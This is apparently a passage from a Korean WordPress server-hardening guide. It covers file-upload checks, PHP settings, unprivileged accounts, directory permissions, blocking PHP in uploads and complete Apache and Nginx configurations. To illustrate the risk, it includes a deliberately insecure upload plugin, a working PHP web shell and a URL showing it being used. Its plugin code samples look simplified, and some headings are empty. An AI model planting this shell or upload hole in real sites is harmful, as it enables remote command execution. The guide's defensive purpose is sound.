- Contact Form 7은 WordPress에서 가장 널리 사용되는 양식 플러그인 중 하나입니다. 확장자 및 MIME 유형 검증이 포함된 기본 파일 업로드 기능을 제공합니다.**허용된 확장자 및 MIME 유형 확인 코드:**
function wpcf7_allowed_file_extensions() { // Default allowed file extensions $allowed_file_extensions = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'txt', 'csv', 'rtf', 'html', 'zip' ); return $allowed_file_extensions; }
function wpcf7_handle_upload( $file ) { $allowed_mime_types = wpcf7_allowed_file_extensions(); $file_type = wp_check_filetype( $file['name'] );
// Check if the file type is allowed
if ( ! in_array( $file_type['ext'], $allowed_mime_types ) ) {
return new WP_Error( 'wpcf7_upload_failed', __( 'File type is not allowed.', 'contact-form-7' ) );
}
// Handle the file upload
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
// Check if the upload was successful
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpcf7_upload_failed', $upload['error'] );
}
return $upload;
}
Contact Form 7에서 `wpcf7_allowed_file_extensions()` 함수는 허용된 파일 확장자 목록을 반환하며, `wpcf7_handle_upload()` 함수는 업로드를 진행하기 전에 파일 확장자가 이 목록에 있는지 확인합니다.
2. WPForms
- WPForms는 허용된 파일 유형을 확인하여 파일 업로드를 처리합니다.
**WPForms 예제 코드:**
function wpforms_get_file_types() {
// Return an array of allowed file types
return array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
}
function wpforms_process_file_upload( $file ) {
$allowed_file_types = wpforms_get_file_types();
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'wpforms_upload_failed', __( 'File type is not allowed.', 'wpforms' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'wpforms_upload_failed', $upload['error'] );
}
return $upload;
}
```
3. WooCommerce
WooCommerce 예제 코드:
function woocommerce_handle_upload( $file ) {
$allowed_file_types = array( 'jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx' );
$file_type = wp_check_filetype( $file['name'] );
if ( ! in_array( $file_type['ext'], $allowed_file_types ) ) {
return new WP_Error( 'woocommerce_upload_failed', __( 'File type is not allowed.', 'woocommerce' ) );
}
$upload = wp_handle_upload( $file, array( 'test_form' => false ) );
if ( isset( $upload['error'] ) ) {
return new WP_Error( 'woocommerce_upload_failed', $upload['error'] );
}
return $upload;
}
```
**예제: 악성 파일 업로드 플러그인**
- 악성 플러그인은 순수해 보일 수 있지만 fileinfo 확장을 악용하여 보안 검사를 우회할 수 있습니다:
```
<?php
/*
Plugin Name: Simple Malicious Upload
Description: A plugin with hidden malicious file upload capability.
Version: 1.0
*/
function simple_file_upload_menu() {
add_menu_page('File Upload', 'File Upload', 'manage_options', 'file-upload', 'simple_file_upload_page');
}
add_action('admin_menu', 'simple_file_upload_menu');
function simple_file_upload_page() {
?>
<h1>File Upload</h1>
<form method="post" enctype="multipart/form-data">
<input type="file" name="uploaded_file" />
<input type="submit" name="upload_file" value="Upload" />
</form>
<?php
if (isset($_POST['upload_file'])) {
simple_handle_file_upload();
}
}
function simple_handle_file_upload() {
if (!empty($_FILES['uploaded_file']['tmp_name'])) {
$file_tmp = $_FILES['uploaded_file']['tmp_name'];
$file_name = basename($_FILES['uploaded_file']['name']);
// Using fileinfo to check MIME type
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime_type = finfo_file($finfo, $file_tmp);
finfo_close($finfo);
// Insecure handling: allows any PHP files to be uploaded
if ($mime_type === 'text/plain' || $mime_type === 'application/x-php') {
$upload_dir = wp_upload_dir();
$upload_file = $upload_dir['path'] . '/' . $file_name;
// Move the uploaded file to the uploads directory
if (move_uploaded_file($file_tmp, $upload_file)) {
echo "File uploaded successfully.";
} else {
echo "File upload failed.";
}
} else {
echo "Invalid file type.";
}
}
}
?>
```
**익스플로잇 설명:**
- 악성 플러그인은 MIME 유형이 `application/x-php.`인 경우 PHP 파일을 업로드할 수 있습니다.
- 공격자는 이 기능을 사용하여 PHP 웹 셸을 업로드할 수 있습니다.
- 업로드되면 공격자는 파일의 URL에 접근하여 임의의 명령을 실행할 수 있습니다.
**예제: PHP 웹 셸 코드**```
<?php
if (isset($_GET['cmd'])) {
echo "<pre>";
system($_GET['cmd']);
echo "</pre>";
}
?>
공격 시연
http://yourwordpress.com/wp-content/uploads/webshell.php에서 웹 셸에 접근합니다.http://yourwordpress.com/wp-content/uploads/webshell.php?cmd=ls로 이동하여 임의 명령을 실행할 수 있습니다.참고:
PHP 함수와 설정이 올바르게 구성되면 WordPress 사이트의 보안을 크게 강화할 수 있습니다. 잘못 구성된 설정은 원격 코드 실행, 정보 노출, 세션 하이재킹 등 다양한 취약점에 사이트를 노출시킬 수 있습니다. 이러한 함수를 비활성화하거나 적절히 구성하여 PHP를 강화하는 것이 중요합니다.
왜 중요한가?
원격 코드 실행:
allow_url_fopen과 같은 설정과 exec 같은 함수는 원격 코드 실행을 가능하게 하여 시스템 손상으로 이어질 수 있습니다.정보 노출:
display_errors 및 expose_php 같은 옵션은 서버 설정에 대한 민감한 정보를 유출하여 공격자가 취약점을 찾기 쉽게 만듭니다.세션 보안:
session.cookie_secure 및 session.cookie_httponly와 같은 적절한 세션 관리 설정은 세션 쿠키가 클라이언트 측 스크립트를 통해 접근되거나 안전하지 않은 채널을 통해 전송되는 것을 방지합니다.감사:
수정:
allow_url_fopen:
file_get_contents(), fopen(), include(), require() 같은 함수가 FTP 또는 HTTP를 통해 원격 위치에서 데이터를 검색할 수 있습니다.allow_url_fopen이 필요할 수 있습니다.; (선택사항) allow_url_fopen이 필요하지 않으면 비활성화
allow_url_fopen = Off
display_errors:
; WordPress 웹사이트에 PHP 오류가 표시되지 않도록 비활성화
display_errors = Off
expose_php:
; HTTP 응답 헤더에서 PHP 버전 노출 방지
expose_php = Off
session.cookie_secure
session.cookie_secure:
; 세션 쿠키가 HTTPS를 통해 전송되도록 설정
session.cookie_secure = On
session.cookie_httponly
session.cookie_httponly:
; 세션 쿠키를 JavaScript에서 접근 불가능하게 설정
session.cookie_httponly = On
예시: 다음은 실제 WordPress에서 비활성화된 PHP 함수 목록입니다.``` system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
### 8.5. 웹 서버가 루트 사용자가 아닌 계정으로 실행되도록 보장 - 서버 애플리케이션을 위한 고유하고 권한이 없는 사용자 및 그룹
대부분의 경우 웹 서버는 "www-data"(Debian/Ubuntu) 또는 "apache"(RHEL/CentOS)와 같은 사용자로 실행됩니다.
이러한 사용자는 서버에 특별한 권한이 없는 전용 서비스 계정이며, 웹 서버 작업자 프로세스가 사용할 사용자와 그룹을 지정하는 데 사용됩니다.
이러한 사용자에게 시스템 권한이 있거나 루트로 실행 중인 경우 변경해야 합니다.
**감사(Audit):**
- 웹 서버 프로세스를 실행 중인 사용자를 확인합니다. (특히 웹 서버 작업자 프로세스입니다.)
1. Apache의 경우:
```
# ps -ef | grep httpd
root 2257 1 0 Apr08 ? 00:00:01 /usr/local/apache/bin/httpd -k start
apache 5678 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5679 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5680 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
apache 5681 1234 0 Apr08 ? 00:00:00 /usr/sbin/httpd -k start
```
2. Nginx의 경우:
```
# ps -ef | grep nginx
root 626653 1 0 Apr08 ? 00:00:00 nginx: master process /usr/sbin/nginx
nginx 626654 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626655 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626656 626653 0 Apr08 ? 00:00:00 nginx: worker process
nginx 626657 626653 0 Apr08 ? 00:00:00 nginx: worker process
```
**수정(Remediation):**
- 웹 서버는 권한이 없는 전용 계정으로 실행되어야 합니다.
- 대부분의 경우 "www-data", "apache", "nginx", "nobody", 또는 "daemon"과 같은 일반적으로 사용되는 계정 중 하나가 사용됩니다.
1. Apache의 경우:
```
# vim /etc/httpd/httpd.conf
..
...
User www-data
Group www-data
..
...
```
2. Nginx의 경우:
```
# vim /etc/nginx/nginx.conf
..
...
user daemon;
```
**참고(Note):**
- 웹 서버의 프로세스 사용자는 셸 로그인 권한이 없어야 합니다. ```
# cat /etc/passwd | grep -i www-data
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
WordPress는 PHP로 구축되었으므로, PHP 코드를 제대로 실행하기 위해 올바른 시스템 구성이 필요합니다.
WordPress에서 PHP 코드 실행은 FastCGI 프로세스 관리자인 PHP-FPM에 의해 관리됩니다. PHP-FPM의 안전한 작동을 보장하려면 권한이 없는 전용 서비스 계정으로 실행되어야 합니다.
일반적으로 웹 서버 프로세스 계정과 PHP-FPM 계정은 동일한 계정으로 설정됩니다. 그러나 보안 강화를 위해서는 별도의 계정으로 실행하는 것이 좋습니다.
두 가지 이유는 다음과 같습니다:
프로세스 분리:
최소 권한 원칙:
감사:
root 1234 1 0 12:00 ? 00:00:01 php-fpm: master process (/etc/php-fpm.conf) php-fpm 5678 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5679 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5680 1234 0 12:00 ? 00:00:00 php-fpm: pool www php-fpm 5681 1234 0 12:00 ? 00:00:00 php-fpm: pool www
**수정 방법:**
- PHP-FPM은 권한이 없는 전용 계정으로 실행되어야 합니다.
- 대부분의 경우 사용되는 계정은 "php-fpm"입니다.
**PHP-FPM 프로세스 계정 변경:**```
# vim /etc/php-fpm.d/www.conf # Adjust the path based on your PHP version
...
user = php-fpm
group = php-fpm
listen.owner = php-fpm
listen.group = php-fpm
PHP-FPM 프로세스 계정은 쉘 로그인 권한을 가져서는 안 됩니다.```
php-fpm❌999:999:PHP-FPM:/run/php:/usr/sbin/nologin
**참고:**
- PHP-FPM 프로세스와 웹 서버 프로세스에 서로 다른 사용자 계정을 사용하는 것이 보안 관점에서 바람직합니다.
- 보안 측면에서 어느 것이 더 나은지 질문받을 경우, 서로 달라야 합니다. 이 맥락에서 동일한 실행 계정을 사용하지 마십시오.
### 8.7. WordPress 홈 디렉터리의 안전한 구성 보장
웹 서버를 안전하게 운영하려면 WordPress 홈 디렉터리의 소유권과 권한을 적절히 구성하는 것이 중요합니다.
대부분의 경우 WordPress 파일 및 디렉터리의 소유권과 권한은 웹 서버의 프로세스 계정과 일치하도록 설정됩니다.
이 구성은 웹 서버가 웹 루트의 파일에 접근하고 오류 없이 작동할 수 있게 합니다.
그러나 이 구성은 안전하지 않습니다.
예를 들어, 웹 서버 프로세스가 'apache'이고 웹 루트 디렉터리와 파일 모두 'apache'가 소유한 경우 심각한 취약점으로 이어질 수 있습니다.
공격자는 이러한 취약점을 악용하여 WordPress 홈 디렉터리 내의 중요 파일 및 디렉터리에 무단 접근할 수 있습니다.
**일반적인 취약점 예시:**
- 웹 서버 프로세스 계정과 홈 디렉터리(웹 루트) 및 파일이 모두 'apache'가 소유한 경우:
- 웹사이트의 취약점 및 시스템에 대한 외부 접근(예: 웹쉘)이 있는 경우, 공격자는 웹 루트 내에서 다양한 작업을 수행할 수 있습니다:
1. 웹 루트 내의 파일 또는 디렉터리를 생성, 수정 또는 삭제합니다.
2. 웹 접근 로그를 수정, 삭제 또는 생성하는 등 조작합니다. (일부 환경 제외)
3. 로그인된 사용자의 활성 세션 쿠키에 접근할 수 있습니다. (특히 취약한 환경에서)
이러한 위험을 완화하려면 WordPress 홈 디렉터리의 소유권과 권한을 적절히 조정하는 것이 중요합니다.
**수정 방법:**
- 홈 디렉터리(웹 루트) 및 파일의 소유자를 'root:root'로 설정합니다. (웹 서버 프로세스 계정과 동일하게 설정하지 마십시오)
- 디렉터리 및 파일의 기본 UMASK는 022입니다. (디렉터리: 755, 파일: 644)
- 웹 서비스에 의한 파일 업로드 등 쓰기 권한이 필요한 디렉터리의 경우 해당 디렉터리의 소유자를 웹 서버 프로세스 계정으로 설정합니다.
**WordPress에서 일반적으로 쓰기 권한이 필요한 디렉터리:**```
/wp-content/uploads
/wp-content/cache
/wp-content/wflogs (when using security plugins like Wordfence)
/wp-content/upgrade (used during the WordPress upgrade process)
위의 복구 조치에 따라 홈 디렉토리의 소유권과 권한을 구성한 후, WordPress 홈 디렉토리의 출력은 다음과 같습니다:
예시: WordPress 홈 디렉토리``` drwxr-xr-x 5 root root 4096 May 27 2024 . drwxr-xr-x 3 root root 4096 May 27 2024 .. -rw-r--r-- 1 root root 418 May 27 2024 index.php -rw-r--r-- 1 root root 19935 May 27 2024 license.txt -rw-r--r-- 1 root root 7346 May 27 2024 readme.html -rw-r--r-- 1 root root 7106 May 27 2024 wp-activate.php drwxr-xr-x 9 root root 4096 May 27 2024 wp-admin -rw-r--r-- 1 root root 351 May 27 2024 wp-blog-header.php -rw-r--r-- 1 root root 2328 May 27 2024 wp-comments-post.php -rw-r--r-- 1 root root 4973 May 27 2024 wp-config-sample.php -rw-r--r-- 1 root root 2755 May 27 2024 wp-config.php drwxr-xr-x 8 root root 4096 May 27 2024 wp-content -rw-r--r-- 1 root root 3940 May 27 2024 wp-cron.php drwxr-xr-x 25 root root 12288 May 27 2024 wp-includes -rw-r--r-- 1 root root 2496 May 27 2024 wp-links-opml.php -rw-r--r-- 1 root root 3300 May 27 2024 wp-load.php -rw-r--r-- 1 root root 51556 May 27 2024 wp-login.php -rw-r--r-- 1 root root 8403 May 27 2024 wp-mail.php -rw-r--r-- 1 root root 24568 May 27 2024 wp-settings.php -rw-r--r-- 1 root root 30869 May 27 2024 wp-signup.php -rw-r--r-- 1 root root 4620 May 27 2024 wp-trackback.php -rw-r--r-- 1 root root 3065 May 27 2024 xmlrpc.php
**In case php-fpm and web server process accounts are different (Separate Permissions)**
웹 서버 프로세스 계정이 "apache"이고 php-fpm 프로세스 계정이 "php-fpm"인 경우.
WordPress에서 쓰기 권한이 필요한 디렉터리(예: /wp-content/uploads)의 권한을 변경합니다.
- 소유자: php-fpm
- 그룹: apache
- 디렉터리 권한: 775 (필요시 755)
**File and Directory Structure**
필요한 디렉터리에 대해 "php-fpm"과 "apache" 계정이 모두 쓸 수 있도록 쓰기 권한을 설정합니다.```
ex) /service/wordpress/www
├── index.php (root:root, 644)
├── license.txt (root:root, 644)
├── readme.html (root:root, 644)
├── wp-activate.php (root:root, 644)
├── wp-admin/ (root:root, 755)
├── wp-blog-header.php (root:root, 644)
├── wp-comments-post.php (root:root, 644)
├── wp-config-sample.php (root:root, 644)
├── wp-config.php (root:root, 644)
├── wp-content/ (root:root, 755)
│ ├── plugins/ (root:root, 755)
│ ├── themes/ (root:root, 755)
│ ├── uploads/ (php-fpm:apache, 775)
│ │ ├── 2024/ (php-fpm:apache, 775)
│ │ └── ... (php-fpm:apache, 775)
│ └── ... (root:root, 755)
├── wp-cron.php (root:root, 644)
├── wp-includes/ (root:root, 755)
├── wp-links-opml.php (root:root, 644)
├── wp-load.php (root:root, 644)
├── wp-login.php (root:root, 644)
├── wp-mail.php (root:root, 644)
├── wp-settings.php (root:root, 644)
├── wp-signup.php (root:root, 644)
├── wp-trackback.php (root:root, 644)
└── xmlrpc.php (root:root, 644)
요약
이렇게 설정하면 웹 서버와 PHP-FPM의 권한을 분리하고, 홈 디렉터리의 소유권 및 권한 설정을 올바르게 적용하여 보안을 강화할 수 있습니다.
이 방법은 WordPress뿐만 아니라 웹 콘텐츠를 제공하는 모든 웹 서버 구조에 적용됩니다.
파일 업로드가 가능한 디렉터리에서 PHP 실행을 비활성화하는 것은 안전한 환경을 유지하는 데 중요합니다.
쓰기 권한이 있는 업로드 디렉터리는 공격자가 웹 셸과 같은 악성 스크립트를 업로드하여 서버를 손상시킬 수 있는 잠재적인 대상입니다.
왜 이것이 중요한가요?
웹 셸 공격 완화:
공격 표면 감소:
보안 모범 사례 준수:
감사:
해결 방법:
/wp-content/uploads 디렉터리와 같은 쓰기 권한이 있는 디렉터리에서 PHP 실행을 비활성화합니다.구성 단계
<Location "/wp-content/uploads">
SetHandler application/octet-stream
</Location>
location /wp-content/uploads {
default_type application/octet-stream;
}
<Location "/wp-content/uploads">
php_flag engine off
# or alternatively
php_value engine 0
</Location>
<Location "/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Location>
<Directory "/var/www/html/yourwordpress/wp-content/uploads">
# Disable PHP execution
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
location /wp-content/uploads {
location ~ \.php$ {
fastcgi_pass off;
}
}
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
이러한 구성은 PHP 파일이 /wp-content/uploads 디렉터리에 업로드되더라도 실행될 수 없도록 하여 잠재적인 공격을 방지합니다.
구성 지시어 설명
SetHandler application/octet-stream:
php_flag engine off / php_value engine 0:
SetHandler none:
참고:
/wp-content/uploads 디렉터리에 있는 이미지 파일은 태그를 사용하여 여전히 접근 가능하고 올바르게 표시됩니다:```
이러한 구성을 적용하면 잠재적인 스크립트 실행 취약점으로부터 업로드 디렉터리를 크게 강화할 수 있습니다.
### 8.9. 웹 서버가 도메인 기반 호스트 헤더에만 응답하도록 보장
웹 서버를 안전하게 보호하려면 서버의 IP 주소로 직접 요청하는 것이 아닌 도메인 이름으로 요청하는 경우에만 응답하도록 하는 것이 중요합니다.
이는 VirtualHost 지시문의 적절한 구성을 통해 달성할 수 있습니다.
대부분의 경우 웹 서비스는 `https://yourwordpress.com`과 같은 도메인 이름을 통해 접근됩니다. 웹 서버는 이 요청을 수신하여 적절한 콘텐츠를 제공합니다. 이 동작을 강제하려면 올바른 Host 헤더가 있는 요청에만 응답하도록 웹 서버를 구성해야 합니다.
**IP 기반 접근 허용 시 잠재적 보안 위험**
1. 서비스 열거:
- 공격자는 IP 주소를 사용하여 서버에서 실행 중인 서비스를 열거할 수 있으며, 이로 인해 취약점을 발견하고 악용할 위험이 증가합니다.
2. 민감한 정보 노출:
- 잘못 구성된 서버는 IP를 통해 접근할 때 공개적으로 접근할 수 없어야 하는 디렉터리, 파일 또는 기타 민감한 정보를 노출할 수 있습니다.
3. 보안 제어 우회:
- IP 기반 접근은 도메인 기반 접근에 대해서만 적용되는 보안 조치를 우회하여 잠재적인 무단 접근으로 이어질 수 있습니다.
**감사:**
- 웹 서버가 도메인 기반 요청에만 응답하도록 구성되어 있고 직접 IP 주소 접근에는 응답하지 않는지 확인합니다.
**수정:**
- 웹 서버가 지정된 도메인에 기반한 요청만 처리하고 다른 요청은 적절히 거부하거나 리디렉션하도록 구성합니다.
**구성 단계**
1. 기본 VirtualHost 구성
- 지정되지 않은 모든 요청을 포착하여 403 Forbidden을 반환하거나 리디렉션하는 기본 VirtualHost를 생성합니다.
**Apache의 경우:**
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
...
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /path/to/ssl/certificate.crt;
SSLCertificateKeyFile /path/to/ssl/private.key;
...
<Location />
Require all denied
</Location>
</VirtualHost>
```
**Nginx의 경우:**
```
server {
listen 80 default_server;
return 403;
}
server {
listen 443 ssl default_server;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
return 403;
}
```
2. 도메인 기반 VirtualHost 구성
- 도메인에 대해 구성된 VirtualHost가 있는지 확인합니다.
**Apache의 경우:**
```
<VirtualHost *:80>
ServerName yourwordpress.com
...
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
DocumentRoot /var/www/html/yourwordpress
...
SSLEngine on
SSLCertificateFile /etc/httpd/to/ssl/certificate.crt;
SSLCertificateKeyFile /etc/httpd/to/ssl/private.key;
...
</VirtualHost>
```
**Nginx의 경우:**
```
server {
listen 443 ssl;
server_name yourwordpress.com;
root /var/www/html/wordpress;
...
ssl_certificate /path/to/ssl/certificate.crt;
ssl_certificate_key /path/to/ssl/private.key;
...
```
3. 테스트
- `yourwordpress.com`에 대한 기본 VirtualHost 및 도메인 기반 VirtualHost 생성입니다.
- `yourwordpress.com`에 대한 기본 VirtualHost 및 도메인 기반 VirtualHost를 생성한 후, 도메인 기반이 아닌 요청(https://ip)에 대해서는 접근이 거부되어(403 오류) 403 오류 화면이 표시됩니다.
```
$ curl -i -k http(s)://10.10.66.88
HTTP/1.1 403 Forbidden
Server: nginx
Date: Mon, 03 Jun 2024 23:23:13 GMT
Content-Type: text/html
Content-Length: 162
Connection: keep-alive
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center>
</body>
</html>
$ curl -i -k https://yourwordpress.com
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 03 Jun 2024 23:32:12 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9
Connection: keep-alive
Hello, yourwordpress.com
```
- 서버 간 통신이나 동일한 IP 서브넷 내 통신이 필요한 경우 특정 IP 주소의 접근을 허용하도록 기본 VirtualHost를 구성할 수 있습니다.
이러한 구성을 구현하면 웹 서버가 도메인으로 전송된 요청에만 응답합니다.
### 8.10. 완료된 웹 서버 구성
다음은 보안 지침을 포함한 완료된 웹 서버 구성의 예입니다. WordPress 웹 서버 환경에 맞게 조정하여 사용하십시오.
1. Apache
```
<VirtualHost _default_:80>
DocumentRoot /var/www/html/yourwordpress
ErrorLog /var/log/httpd/http.ip.error.log
CustomLog /var/log/httpd/http.ip.access.log combined
<Location />
Require all denied
</Location>
<VirtualHost _default_:443>
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.ip.error.log
CustomLog /var/log/httpd/https.ip.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Location />
Require all denied
</Location>
</VirtualHost>
<VirtualHost *:80>
ServerName yourwordpress.com
Redirect permanent / https://yourwordpress.com/
</VirtualHost>
<VirtualHost *:443>
ServerName yourwordpress.com
Protocols h2 http/1.1
DocumentRoot /var/www/html/current/public
ErrorLog /var/log/httpd/https.yourwordpress.com.error.log
CustomLog /var/log/httpd/https.yourwordpress.com.access.log combined
# SSL Configuration
SSLEngine on
SSLCertificateFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.crt
SSLCertificateKeyFile /etc/httpd/conf.d/cert/yourwordpress.com_ssl.key
SSLSessionTimeout 1d
SSLSessionCache shared:MozSSL:10m
SSLSessionTickets off
SSLProtocol TLSv1.2 TLSv1.3
SSLCipherSuite ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305
SSLHonorCipherOrder off
<Directory /var/www/html/current/public>
Options -Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>
# Deny PHP execution in uploads directory
<Directory "/var/www/html/current/public/wp-content/uploads">
<FilesMatch "\.php$">
SetHandler none
Require all denied
</FilesMatch>
</Directory>
# PHP Serving
ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ unix:/var/run/php-fpm/php-fpm.sock|fcgi://localhost/var/www/html/current/public
#ProxyPassMatch ^/(?!wp-content/uploads/.*\.php$)(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/html/current/public
# Favicon
<Location "/favicon.ico">
ErrorDocument 404 "Not Found"
SetEnvIf Request_URI "^/favicon\.ico$" no_log
</Location>
# Robots.txt
<Location "/robots.txt">
Require all granted
SetEnvIf Request_URI "^/robots\.txt$" no_log
</Location>
# Restrict access to wp-cron.php
<Files "wp-cron.php">
Require all denied
Require ip 127.0.0.1
</Files>
# Restrict access to wp-json
<Location "/wp-json/">
Require all denied
Require ip 127.0.0.1
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
# Restrict access to wp-admin
<Location "/wp-admin">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Location>
<Files "wp-login.php">
Require all denied
Require ip 10.10.77.49
Require ip 10.10.71.20
</Files>
# Deny access to hidden files
<FilesMatch "^\.">
Require all denied
</FilesMatch>
</VirtualHost>
```
2. Nginx
```
server {
listen 80 default_server;
listen 443 default_server ssl http2;
error_log /var/log/nginx/http.ip.error.log;
access_log /var/log/nginx/http.ip.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location / {
deny all;
}
}
server {
listen 443 ssl http2;
server_name yourwordpress.com;
root /var/www/html/wordpress;
error_log /var/log/nginx/https.yourwordpress.com.error.log;
access_log /var/log/nginx/https.yourwordpress.com.access.log main;
ssl_certificate /etc/nginx/conf.d/cert/yourwordpress.com_ssl.crt;
ssl_certificate_key /etc/nginx/conf.d/cert/yourwordpress.com_ssl.key;
ssl_session_timeout 1d;
ssl_session_cache shared:MozSSL:10m; # about 40000 sessions
ssl_session_tickets off;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305:DHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-CHACHA20-POLY1305;
ssl_prefer_server_ciphers off;
location = /favicon.ico {
log_not_found off;
access_log off;
}
location = /robots.txt {
allow all;
log_not_found off;
access_log off;
}
# Restrict to access Wordpress Cron
location = /wp-cron.php {
allow 127.0.0.1;
deny all;
access_log off;
log_not_found off;
}
# Restrict to access json rest-api
location ~ ^/wp-json/ {
allow 127.0.0.1; # Allow localhost
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
access_log off;
log_not_found off;
}
# Restrict to access Wordpress Admin
location = /wp-admin {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
location ~* \wp-login.php {
allow 10.10.77.49; # Allow myip
allow 10.10.71.20; # Allow myip
deny all;
}
# Deny all attempts to access hidden files such as .htaccess, .htpasswd, .DS_Store (Mac).
# Keep logging the requests to parse later (or to pass to firewall utilities such as fail2ban)
location ~ /\. {
deny all;
}
# Deny access to any files with a .php extension in the uploads directory
location /wp-content/uploads {
location ~ \.php$ {
deny all;
}
}
# Other example
# location ~* /(?:uploads|files)/.*\.php$ {
# deny all;
# }
# Rewrite rules, sends everything through index.php and keeps the appended query string intact
location / {
try_files $uri $uri/ /index.php$is_args$args;
}
# Serving PHP
location ~ \.php$ {
try_files $uri =404;
fastcgi_split_path_info ^(.+\\.php)(/.+)$;
# fastcgi_pass 127.0.0.1:9000; # With php-cgi (or other tcp sockets):
fastcgi_pass unix:/var/run/php-fpm/php-fpm.sock; # With php-fpm (or other unix sockets):
fastcgi_index index.php;
include /etc/nginx/fastcgi_params;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
}
location ~* \.(js|css|png|jpg|jpeg|gif|ico)$ {
expires max;
log_not_found off;
}
}
```
## 9. WordPress 보안 업데이트 보장
WordPress는 취약점이 발견되면 새 버전 업데이트를 릴리스하여 보안 취약점을 해결합니다.
예를 들어 WordPress 6.5.2에서 보안 취약점이 발견되면 버전 6.5.3에서 해결되어 배포됩니다.
보안 업데이트는 버전별로 관리되지 않으므로 보안 취약점을 해결하려면 정기적인 버전 업데이트가 필요합니다.
업데이트에 대한 공식 WordPress 릴리스 정보를 참조하십시오:
[WordPress Releases](https://wordpress.org/download/releases/)
**수정:**
- WordPress를 정기적으로 업데이트하십시오.
- WordPress는 버전별로 업데이트(보안 업데이트 포함)를 관리하지 않습니다.
- 2024년 5월 20일 기준으로 버전 6.5만 유지 관리 중입니다.
**참고:**
